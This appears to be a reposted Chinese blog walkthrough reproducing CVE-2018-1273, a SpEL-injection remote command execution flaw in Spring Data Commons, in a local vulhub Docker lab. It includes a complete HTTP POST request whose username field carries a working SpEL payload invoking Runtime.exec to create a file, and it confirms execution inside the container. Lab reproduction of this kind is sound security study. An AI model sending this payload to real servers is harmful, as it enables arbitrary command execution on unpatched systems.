1. 程式人生 > >CVE-2018-1273 Spring Data Commons 遠端命令執行漏洞復現

CVE-2018-1273 Spring Data Commons 遠端命令執行漏洞復現

## 一、漏洞描述 Spring Data是一個用於簡化資料庫訪問,並支援雲服務的開源框架,Spring Data Commons是Spring Data下所有子專案共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表示式注入漏洞,攻擊者可以注入惡意SpEL表示式以執行任意命令。 ## 二、漏洞環境搭建 ### 需要準備的工具如下: ``` 1.docker+vulhub漏洞庫 2.Burpsuite 3.靶機Ubuntu18.04虛擬機器(其他也可以) ``` 開啟Ubuntu虛擬機器,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這裡就不多介紹了) ``` root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# ``` 執行命令 ``` root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d ``` 等到出現以下頁面證明已經搭建完成 ![](https://img2020.cnblogs.com/blog/2230531/202012/2230531-20201228152923445-527479685.png) 可以訪問`http://your-ip:8080`,出現如下頁面證明環境搭建成功! ![](https://img2020.cnblogs.com/blog/2230531/202012/2230531-20201228164122329-1967898310.png) ## 三、漏洞利用 ### 1、註冊使用者,提交抓包 ![](https://img2020.cnblogs.com/blog/2230531/202012/2230531-20201228153455559-580446933.png) ### 2、構造payload,進行發包測試 ``` POST /users?page=&size=5 HTTP/1.1 Host: 192.168.1.17:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 121 Origin: http://192.168.1.17:8080 Connection: close Referer: http://192.168.1.17:8080/users Upgrade-Insecure-Requests: 1 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword= ``` 伺服器返回如下頁面時,證明攻擊成功! ![](https://img2020.cnblogs.com/blog/2230531/202012/2230531-20201228155957681-728373693.png) ### 3、進入Ubuntu環境中,執行 `` root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash `` 進入目錄,檢視tmp下的目錄成功出現2333檔案,命令執行成功! ![](https://img2020.cnblogs.com/blog/2230531/202012/2230531-20201228170424096-265944815.png) ### 4、關閉docker環境 `` docker-compose down `` ![](https://img2020.cnblogs.com/blog/2230531/202012/2230531-20201228170051439-93669